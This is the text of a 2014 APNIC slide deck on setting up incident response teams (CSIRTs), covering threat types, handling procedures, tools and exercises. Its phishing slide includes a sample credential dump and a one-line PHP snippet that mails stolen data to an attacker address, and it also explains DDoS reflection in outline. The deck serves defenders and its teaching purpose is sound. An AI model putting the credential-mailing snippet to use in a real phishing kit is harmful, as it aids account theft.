Setting up CSIRT

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Comprehensive slide pack on how to set up Computer Security Incident Response Teams to help combat cybercrime.

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Setting up CSIRT

  1. 1. Issue Date: Revision: Setting up Computer Security Incident Response Teams (CSIRTS) Adli Wahid Security Specialist adli@apnic.net 05 June 2014 V 1.1
  2. 2. About Me •  Adli Wahid •  Current Role –  Security Specialist, APNIC •  Previous Roles –  Cyber Security Manager, Bank of Tokyo-Mitsubishi UFJ –  VP Cyber Security Response Services, CyberSecurity Malaysia & Head of Malaysia CERT (MYCERT) –  Lecturer, International Islamic University Malaysia •  Follow APNIC and me on Twitter! –  @apnic && @adliwahid 3
  3. 3. Agenda •  Cyber Threats Landscape •  Setting up Computer / Cyber Security Response Team •  Tools for incident handling and analysis •  Exercises 4
  4. 4. 1.0 Cybersecurity & the Threat Landscape 5
  5. 5. So you do ‘Security’? 6
  6. 6. 7
  7. 7. Cyber Security Frame Work •  How do we think about security? •  Ensuring the CIA –  Confidentiality, Integrity, Availability •  Collection of activities to address Risk –  Risk = Threats x Vulnerabilities –  Dealing with the Known & and Unknown •  People, Process, Technology •  Dynamic & Continuous Approach –  Including Learning from Incidents –  Applying Best Current Practices 8 C I A
  8. 8. NIST Cyber Security Framework 9 RESPOND
  9. 9. The Threat Landscape •  Highlights of cyber security incidents •  What they mean for a CERT / CSIRT? •  Understanding risk and impact associated with the threats or incidents •  Thinking about actions required for dealing with the incidents 10
  10. 10. Cyber Threats •  Malware Related •  Data Breaches •  Distributed Denial of Service Attacks •  Web Defacement •  Spam •  Phishing •  Scanning / Attempts •  Content Related 11
  11. 11. Malware-Related •  The Problem –  Malicious software have different infection vectors and ‘payloads’ –  Different consequences once a computer is infected –  Millions of infected Computers –  Complex ‘infrastructure’ for spreading malware and controlling infected computers 12
  12. 12. Malware-Related •  Different Types of Malware –  Bots & Botnets –  Ransomware –  ExploitKits •  What do CSIRTs have to Handle? –  Infected computers –  Infection points •  Command & Controls •  Web Sites –  Organise Take-Downs Efforts (Conficker, DNSChanger) –  Write Advisory (for removal) –  Work with Law Enforcement Agencies 13
  13. 13. 14
  14. 14. 15 DNS Changer Working Group http://www.dnwg.org
  15. 15. Botnet Mitigation Techniques 16 Source: www.enisa.europa.eu
  16. 16. DoS and DDoS •  DoS: –  source of attack small # of nodes –  source IP typically spoofed •  DDoS –  From thousands of nodes –  IP addresses often not spoofed •  What you need to Handle –  Source of DDoS attack •  What if IP is spoofed? –  Victim of DDoS attack –  Services/Sites facilitating DDoS attacks •  Help promote BCP38 / Source Address Validation too! 17
  17. 17. Distributed DoS: DDos 18 Internetattacker victim bot bot bot bot Attacker takes over many machines, called “bots”. Potential bots are machines with vulnerabilities. bot processes wait for command from attacker to flood a target
  18. 18. DDoS: Reflection attack 19 attacker victim DNS server DNS server DNS server DNS server request request request request reply reply reply reply Source IP = victim’s IP
  19. 19. DDoS: Reflection attack •  Spoof source IP address = victim’s IP •  Goal: generate lengthy or numerous replies for short requests: amplification –  Without amplification: would it make sense? •  January 2001 attack: –  requests for large DNS record –  generated 60-90 Mbps of traffic •  Reflection attack can be also be done with Web and other services 20
  20. 20. 21 Source: https://dnsscan.shadowserver.org/index.html Shadow Server - Open Resolver Scanning Project
  21. 21. Data Breaches •  The Problem –  Thousands and Hundreds of Credentials (username and passwords) being exposed and shared publicly •  By accident or or purpose •  i.e. on scribd •  CSIRTs/CERTs are contacted to handle / co-ordinate so that accounts are not further abused •  Handling –  Contacting the owners of credentials –  Contacting owner of system where credentials are being dumped •  SQL injection vulnerability, Misconfiguration –  Improving authentication mechanism (2FA?) –  Removing the credentials 22
  22. 22. Phishing •  The Problem –  Active attempt to trick users to give credentials –  Use a combination of email, social media and fake websites •  What needs to be handled –  Source of Phishing Email –  Fake website –  Credentials stolen –  Accounts or sites collecting phishing credentials (drop sites) 23
  23. 23. Dear Intelligent User, We have introduced a new security feature on our website. Please reactivate your account here: http://www.bla.com.my p.s This is NOT a Phish Email Login Password din:1234567 joey:cherry2148 boss:abcdefgh123 finance:wky8767 admin:testtest123 <? $mailto=‘criminal@gmail.com’; mail($mailto,$subject, $message); ?> Phishing Example 24 1 2 3 4
  24. 24. Spam •  The Problem –  Unsolicited Emails –  Waste of bandwith, cost money –  Leads to other problems •  What you need to handle –  Source of email 25
  25. 25. Spam with Malware 26
  26. 26. Only 5 out of 42 AVs Detect This 27
  27. 27. Compromised Web Sites •  The Problem –  Web sites compromised leading to defacement or abused for other types of attacks –  Possibly caused by https://www.owasp.org/index.php/ Category:OWASP_Top_Ten_Project –  Mass Defacements –  Pre-Announced Attacks •  What you need to handle / co-ordinate –  Contacting owner of the website –  Handling the source of attack 28
  28. 28. Recap on Cyber Threats •  Understanding the different types of cyber threats is the first step before you start handling or responding to the incidents •  Abuse or IRT contacts could be the first to be contacted •  Questions to ask –  How does it work? –  What are the impact? –  What do we have to ‘handle’? –  Who should I contact / escalate? –  What should be prioritized? •  CSIRTS/CERTS can be contacted at the different stages of the attacks or incidents 29
  29. 29. 2.0 Incident handling & Response Framework 30
  30. 30. Outcomes of this Module 1.  Understand the importance of responding and handling security incidents 2.  Familiar with the requirements for setting up a CERT / CSIRT 3.  Identify organisations to connect with for collaboration & cooperation 31
  31. 31. 32
  32. 32. Incidents Happens! •  Despite your best efforts keep the internet safe, secure and reliable – things happens •  What we have seen –  Malware, Botnets, Exploit Kits, Ramsomware, DDoS Attacks, Anonymous, 0-days, Web Defacement –  Data Breaches and Disclosures –  And Many more! •  What is the worst that can happen to you? 33
  33. 33. Incident Happens! (2) •  Incident may affect –  Your Organisation –  Your Customers –  Your country (think Critical Infrastructure) •  Must be managed in order to –  Limit Damage –  Recover (Fix/Patch) –  Prevent recurrence –  Prevent Further Abuse 34
  34. 34. Exercise-1 •  You might have an incident already •  Visit www.zone-h.com/archive •  Enable filters –  Insert domain •  Let’s Discuss –  What can we learn from this? –  What is the risk for publication of defaced websites? –  Going back to our formula: Risk = Threats + Vulnerabilities 35
  35. 35. Exercise-1: Discussion •  Detection –  How do I know about incidents affecting me •  Analysis –  How ‘bad’ is the situation –  Google for ZeusTracker, MalwareDomainList •  Recover –  How do I fix this •  Lessons Learned –  How can we prevent this happening in the future –  Think PPT! –  Can series of action be co-ordinated? 36
  36. 36. Whois Database IRT Object •  IRT - Incident Response Team •  Reporting of network abuse can be directed to specialized teams such as Incident Response Teams (IRTs) •  Implemented in AP region by policy Prop-079 in November 2010. –  Mandatory for inetnum, inet6num and aut-num, objects created and updated in whois database •  In essence, the contact information must be reachable and can do something about an incident! 37
  37. 37. inetnum: 1.1.1.0 - 1.1.1.255 netname: APNIC-LABS descr: Research prefix for APNIC Labs descr: APNIC country: AU admin-c: AR302-AP tech-c: AR302-AP mnt-by: APNIC-HM mnt-routes: MAINT-AU-APNIC-GM85-AP mnt-irt: IRT-APNICRANDNET-AU status: ASSIGNED PORTABLE changed: hm-changed@apnic.net 20140507 changed: hm-changed@apnic.net 20140512 source: APNIC irt: IRT-APNICRANDNET-AU address: PO Box 3646 address: South Brisbane, QLD 4101 address: Australia e-mail: abuse@apnic.net abuse-mailbox: abuse@apnic.net admin-c: AR302-AP tech-c: AR302-AP auth: # Filtered mnt-by: MAINT-AU-APNIC-GM85-AP changed: hm-changed@apnic.net 20110922 source: APNIC Whois Database Incident Response Team Object 38
  38. 38. What is incident? •  ITIL terminology defines an incident as: –  Any event which is not part of the standard operation of a service and which causes, or may cause, an interruption to, or a reduction in, the quality of that service •  ISO27001 defines an incident as: –  any event which is not part of the standard operation of a service and which causes or may cause an interruption to, or a reduction in, the quality of that service. 39
  39. 39. Incident Response vs. Incident Handling? •  Incident Response is all of the technical components required in order to analyze and contain an incident. –  Skills: requires strong networking, log analysis, and forensics skills. •  Incident Handling is the logistics, communications, coordination, and planning functions needed in order to resolve an incident in a calm and efficient manner. [isc.sans.org] 40
  40. 40. What is Event? •  An “event” is any observable occurrence in a system and/or network •  Not all events are incidents but all incidents are events 41
  41. 41. Objective of Incident Response •  To mitigate or reduce risks associated to an incident •  To respond to all incidents and suspected incidents based on pre-determined process •  Provide unbiased investigations on all incidents •  Establish a 24x7 hotline/contact – to enable effective reporting of incidents. •  Control and contain an incident –  Affected systems return to normal operation –  Recommend solutions – short term and long term solutions 42
  42. 42. Dealing with Incidents – Bottom Line •  What happens if you don’t deal with incidents? –  Become Tomorrow’s Headline (Image) –  I or Domain Blacklisted (Availability & Financial Loss) •  Linked to Criminals •  The World needs you! –  Trusted point of contact (information on infected or compromised hosts –  Doing your bit to keep the Internet a safe and secure place for everyone! 43
  43. 43. The CSIRT Organisation •  Defining the CSIRT Organisation •  Mission Statement –  High level definition of what the team will do •  Constituency –  Whose incidents are we going to be handling or responsible for –  And to what extent •  CSIRT position / location in the Organisation •  Relation to other teams (or organisations) 44
  44. 44. Possible Activities of CSIRTs • Incident Handling • Alerts & Warnings • Vulnerability Handling • Artefact Handling • Announcements • Technology Watch • Audits/Assessments • Configure and Maintain Tools/ Applications/Infrastructure • Security Tool Development • Intrusion Detection • Information Dissemination • Risk Analysis • Business Continuity Planning • Security Consulting • Awareness Building • Education/Training • Product Evaluation List from CERT-CC (www.cert.org/csirts/) 45
  45. 45. Operations & Availability •  Incidents don’t happen on a particular day or time •  How to ensure 24 x7 reachability? –  IRT Object In WHOIS Database –  Email (Mailing List) –  Phone, SMSes –  Information on the Website –  Relationship with National CSIRTs and Others Relevant Organisations •  ISPS, Vendors, Law Enforcement Agencies 46
  46. 46. Different kinds of CSIRTs •  The type of activities, focus and capabilities may be different •  Some examples –  National CSIRTs –  Vendor CSIRTs –  (Network & Content) Providers Teams 47
  47. 47. Resources Consideration (1) •  People, Process and Technology Requirements •  People –  Resources for: •  Handling Incidents Reports (Dedicated?) •  Technical Analysis & Investigation –  What kinds of skills are required ? •  Familiarity with technology •  Familiarity with different types of security incidents •  Non Technical skills – Communication, Writing •  Trustworthiness 48
  48. 48. Resources Requirements (2) •  Process & Procedures –  Generally from the beginning of incident till when we resolve the incident –  Including lessons learned & improvement of current policies or procedures –  Must be clear so that people know what do to –  Importance •  Specific Procedures for Handling Specific types of Incidents –  Malware Related –  DDoS –  Web Defacement –  Fraud –  Data Breach 49
  49. 49. Source: Special Publication 800-61* Computer Security Incident Handling Guide page 3-1 * http://csrc.nist.gov/publications/nistpubs/800-61-rev1/SP800-61rev1.pdf Incident Response/ & Handling 50
  50. 50. Applying the Framework - Responding to a DDOS Incident 1.  Preparation 2.  Identification 3.  Containment 4.  Remediation 5.  Recovery 6.  Aftermath/Lessons Learned 51 Reference: cert.societegenerale.com/resources/files/IRM-4-DDoS.pdf
  51. 51. Example Team Structure •  First Level –  Helpdesk, Perform Triage •  2nd Level –  Specialists •  Network Forensics •  Malware Specialists •  Web Security Specialists •  Overall Co-ordination 52
  52. 52. Understanding Role of Others in the Organisation •  Different roles in the organisations –  CEO: to maximise shareholder value –  PR officer: to present a good image to the press –  Corporate Risk: to care about liabilities, good accounting, etc. –  CSIRT: to prevent and resolve incidents •  Don’t assume these interests automatically coincide - but with your help, they can ! 53
  53. 53. Technical Non- Technical Incident Response/Handling – Skills / Activities Overview 54 Logistics Coordination Communication Planning Log Analysis Forensics Network Reversing
  54. 54. Resources Requirements •  Technology / Tools •  Essentially 2 parts –  For handling Incidents & Incidents Related Artifacts •  Managing tickets, secure communications, etc •  RTIR, OTRS, AIRT are some good examples –  Tools & Resources for Analysis & Investigation •  Depending on the type of work that is required •  For performing: –  Hosts Analysis, Log Analysis, Traffic Analysis, Network Monitoring, Forensics, Malware Analysis –  Tools that support standards for exchanging Threat Intels with other teams (STIX & TAXII) 55
  55. 55. OTRS Fax server Email Phone Web form SMS IDS alerts Other Sources 56 Example: Incident Reporting Channels Integration with OTRS
  56. 56. Phish Response Checklist 1.  Analyse / Report of Spam 2.  Phishing Site Take Down –  Removal / Suspension –  Browser Notification 3.  Phishing Site Analysis –  Phishkits ? 4.  Credentials ‘Stolen’ –  Notify Users 5.  Report / Escalation 6.  Lessons Learned 57
  57. 57. Advisories and Alerts •  Scenarios that potentially require Advisory or Alert –  Incident that could potential have a wide-scale impact –  Examples •  Declaration by attacker to launch attack •  Critical vulnerability of ‘popular’ software in the constituency •  Some types of Incidents Require action by those in your consituencies –  They have to apply the patch themselves –  Their network or systems are not reachable to you –  They must perform additional risk assessment –  Perform check so that to ensure that they are not vulnerable 58
  58. 58. Advisories and Alerts (2) •  Content –  Should be clear & concise •  What is impacted •  If fix available or workaround –  Shouldn’t be confusing –  Guide on how to determine or apply fix could be useful •  Distribution of advisory and alerts –  Preparation of targeted list based on industry, common systems, groups –  Using suitable platforms to reach out (including media) –  Goal is to reach out as quick as possible the right •  Special Programs with Vendors –  Early alert – i.e. Microsoft 59
  59. 59. Working with Law Enforcement Agencies & Judiciary Sector •  Some incidents have elements of crime –  ‘Cyber’ or non-cyber laws –  Regulatory framework •  Implication –  Must work with Law Enforcement Agency (must notify) –  Preservation of digital evidence (logs, images, etc) •  Proper configuration of systems, time etc –  Working together with LEAs to investigate •  Monitoring, recording and tracking •  Responding to requests •  Training and Cyber Security Exercises can help to create awareness 60
  60. 60. Collaboration & Information Sharing •  Bad guys work together, Good guys should too! •  Make yourself known, establish trust, collaborate and learn from others •  Association of CSIRTS –  National CSIRTs groups (in some countries) –  Regional – APCERT, OIC-CERT, TF-CSIRT –  Global – FIRST.org •  Closed & Trusted Security Groups –  NSP-SEC –  OPS-TRUST •  Getting Feeds about your constituencies (and sharing with them) –  ShadowServer Foundation –  Team Cymru –  Honeynet Project 61
  61. 61. Getting Involved •  Global Take Downs / Co-ordinated Response –  DNSChanger Working Group –  Conficker Working Group •  Cyber Security Exercises –  Multiple Teams & Multiple Scenarios activities –  Getting to know your peers and improving internal processes as capabilities –  Example: APCERT Drill, ASEAN Drill, etc •  Helping Promote Best Practices & Awareness –  Source Address Validation (BCP 38) –  APWG Stop – Think – Connect (APWG.org) 62
  62. 62. Collaboration & Co-operation •  Check out some of the security organisations mentioned earlier –  APCERT – http://www.apcert.org –  FIRST – http://www.first.org –  ShadowServer Foundation http://www.shadowserver.org –  Team Cymru - https://www.team-cymru.org/Services/ –  Honeynet Project – http://www.honeynet.org 63
  63. 63. Managing CSIRT •  Having sufficient resources is critical to maintain cert / csirt operation •  Consider having funds for traveling to participate in workshops, training and meetings 64
  64. 64. 3.0 Free / Open Source Tools 65
  65. 65. About this Module •  This module covers some publicly available tools that can be used for managing incident reports and performing (initial) analysis •  Depending on the nature of the incident, different sets of tools will have to be used by the incident responder •  It is by no means comprehensive but useful to gain initial insights when handling an incident 66
  66. 66. Managing Incident Reports •  There may be multiple ways to contact a CERT / CSIRT –  Email, Web Form, Fax, Security Systems –  Should ensure that reports (tickets) are attended to •  Workflow System for managing abuse reports and artifacts –  Web-based system –  Reflect policies for incident response / handling activities –  Artifacts: Logs, executables –  Generate reports for review and lessons learned •  Some Solutions: –  RTIR: RT for Incident Response http://bestpractical.com/rtir/ –  OTRS: https://www.otrs.com/software/open-source/ 67
  67. 67. Malicious software, files, URLs analysis service 1.  Malwr Sandbox –  http://www.malwr.com –  Based on Cuckoo Sandbox (Open Source) 2.  Anubis –  http://anubis.iseclab.org/ 3.  VirusTotal –  http://www.virustotal.com 4.  Wepawet –  http://wepawet.iseclab.org/ 68
  68. 68. Spam and Web Defacement •  Spam Header Analysis –  http://mxtoolbox.com/Public/Tools/EmailHeaders.aspx •  Zone-H Defacement Archive –  http://www.zone-h.com 69
  69. 69. Whois Database & Passive DNS •  The whois database is an indispensable tool for incident handling. •  RIR’s whois database gives information about a network i.e. who is the point contact •  But we need historical data on who use to own it –  May show something suspicious •  Passive DNS: –  http://www.bfk.de/bfk_dnslogger.html 70
  70. 70. Abuse Information about your Network •  There are multiple initiatives on the Internet that could be of use to gain information about abuses or potential abuses on your network 1.  Abuse.ch – Zeus, SpyEye, Palevo, Feodo malware Tracker i.e. http://zeustracker.abuse.ch 2.  Malware Domain List –  http://www.malwaredomainlist.com/ –  http://www.malwaredomains.com/ 3.  Open DNS Resolvers –  http://openresolverproject.org/ 71
  71. 71. Secure Communication Tools •  Best Practice to have use GnuPG/PGP for communication –  For signing and/or encrypting messages –  Extremely useful for information sharing (especially on need to know basis) •  Keys that belong to others (teams or individuals) are published on public PGP key servers –  http://pgp.mit.edu •  ‘Key-signing’ parties are common at CSIRT meetings or gathering 72
  72. 72. 4.0 Exercises (Discussion) 73
  73. 73. Exercise – 1 •  Defining your CERT/CSIRT based on RFC2350 –  RFC2350 - Expectations for Computer Security Incident Response –  https://www.rfc-editor.org/rfc/rfc2350.txt 74
  74. 74. Exercise 2 – From .RU (or somewhere) with Love 75 Date: Day, Month 2011 Subject: Partnership From: Attacker To: Victim Your site does not work because We attack your site. When your company will pay to us we will stop attack. Contact the director. Do not lose clients.
  75. 75. Exercise 3 – Writing a Security Advisory •  Information about critical vulnerability affecting a popular application. •  Write a security advisory to your constituent explaining the situation and action required of them 76
  76. 76. Recap •  We have covered –  The bigger picture – Managing Risks and Cyber Security –  The need to respond to incidents –  Setting up Security Response Teams •  Defining the Team & Team Structure •  Resources required •  Policies, SOPs, SLAs •  Tools for incident handlers •  Making yourself known and working with others •  Keep Calm & Incident Response! 77
  77. 77. Questions ? Keep in touch! Adli Wahid adli@apnic.net Check out: http://training.apnic.net 78
  78. 78. APNIC Survey 2014 •  11 -22 June 2014 •  Opportunity to provide input on APNIC’s performance, development, and future direction •  Contributes to APNIC’s future planning processes •  Run by an impartial, independent research organization •  Confidentiality of respondents guaranteed 79 survey.apnic.net
  79. 79. You’re Invited! •  APRICOT 2015: Fukuoka, Japan, 24 Feb-6 Mar 2015 80

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